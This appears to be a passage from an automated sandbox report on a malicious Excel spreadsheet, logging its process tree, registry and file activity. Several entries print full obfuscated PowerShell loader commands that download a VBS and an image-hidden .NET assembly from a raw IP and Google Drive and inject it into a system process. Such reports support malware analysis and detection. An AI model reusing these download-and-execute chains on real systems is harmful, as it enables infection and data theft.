'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Memory allocated: 770B0000 page execute and read and write

Source: Po docs.xls

OLE indicator, VBA macros: true

Source: Po docs.xls	Stream path 'MBD011F7CF0/\x1Ole' : https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox{c~D2 >dA'e0.FfIZ1h5hvHQQ6aa2avW9Ay7eHRZCXJ7J84lCdW8Nbe2RpTeBT20Jppg8AlqvkruCuWzMYBiKJwq2bEJ56WOOX18Acm2kez4lnBnr4rP03SEqlm2UV80sndtB>x8d8sXeo{;
Source: 37330000.0.dr	Stream path 'MBD011F7CF0/\x1Ole' : https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox{c~D2 >dA'e0.FfIZ1h5hvHQQ6aa2avW9Ay7eHRZCXJ7J84lCdW8Nbe2RpTeBT20Jppg8AlqvkruCuWzMYBiKJwq2bEJ56WOOX18Acm2kez4lnBnr4rP03SEqlm2UV80sndtB>x8d8sXeo{;

Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2258
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2258
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2258	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2258

Source: Process Memory Space: powershell.exe PID: 3044, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 4032, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.winXLS@34/43@8/5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\37330000

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Mutant created: \Sessions\1\BaseNamedObjects\DE4229FCF97F5879F50F8FD3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR952D.tmp

Jump to behavior

Source: Po docs.xls	OLE indicator, Workbook stream: true
Source: 37330000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............0.q.......q......6q...............D......6q......6q...............D......3D......................6q.............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(D.......................q.....}..w......q.......D.......D......1D.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P................q.......q.....}..w..............D.......D......1D.....(.P.......D......3D.....................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm......................(4^k....}..w............\.F.......D.............(.P.....................(...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............!U......3^k....p.T.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm......................(4^k....}..w............\.F.......D.............(.P.....................(...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............!U......3^k....p.T.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..!U......3^k....p.T.....(.P............................. .......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .D.e.V.I.C.E.c.R.E.d.e.N.T.i.a.L.D.E.p.l.O.y.m.E.N.t...e.X.E.........................@.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.........................@.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............!U......3^k....p.T.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...........N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............!U......3^k....p.T.....(.P.............................l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ...............}..w.............!U......3^k....p.T.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............T.r.u.e...q.....}..w..............D.......D......1D.....(.P.......D......3D......................&..............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(D.......................q.....}..w......q.......D.......D......1D.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............0.q.......q.....@.................D.....@.......H.................D......3D.....................@...............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(D.......................q.....}..w......q.......D.......D......1D.....(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..#..............P................q.......q.....}..w..............D.......D......1D.....(.P.......D......3D.......#.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.......................t.l....}..w............\.F.......D.............(.P.....................X...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..#.............................................}..w.....................t.l....8.......(.P.......................#.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.......................t.l....}..w............\.F.......D.............(.P.....................X...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..#.............................................}..w.....................t.l....8.......(.P.......................#.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........t.l....8.......(.P............................. .......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .D.e.V.I.C.E.c.R.E.d.e.N.T.i.a.L.D.E.p.l.O.y.m.E.N.t...e.X.E.........................@.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.........................@.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..#.............................................}..w.....................t.l....8.......(.P.......................#.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...........N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..#.............................................}..w.....................t.l....8.......(.P.......................#.....l.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ...............}..w.....................t.l....8.......(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............T.r.u.e...q.....}..w..............D.......D......1D.....(.P.......D......3D.....................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(D.......................q.....}..w......q.......D.......D......1D.....(.P.....\...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.............................................}..w............8.D.....8.D.....@"D.....(.P.....\.................!.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm........................Rk....}..w............\.F.......D.............(.P.....\...............(...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.8.8.1.......Rk.....;q.....(.P.....\.......................$.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm........................Rk....}..w............\.F.......D.............(.P.....\...............(...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.............................................}..w............02a.......Rk.....;q.....(.P.....\.................!.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.............................................}..w............02a.......Rk.....;q.....(.P.....\.................!.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.............................................}..w............02a.......Rk.....;q.....(.P.....\.................!.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.............................................}..w............02a.......Rk.....;q.....(.P.....\.................!.....X.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ...............}..w............02a.......Rk.....;q.....(.P.....\...............................................

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1F25.tmp" "c:\Users\user\AppData\Local\Temp\3lzsnizg\CSCBF63D2839AE346389099BF789A42623B.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0U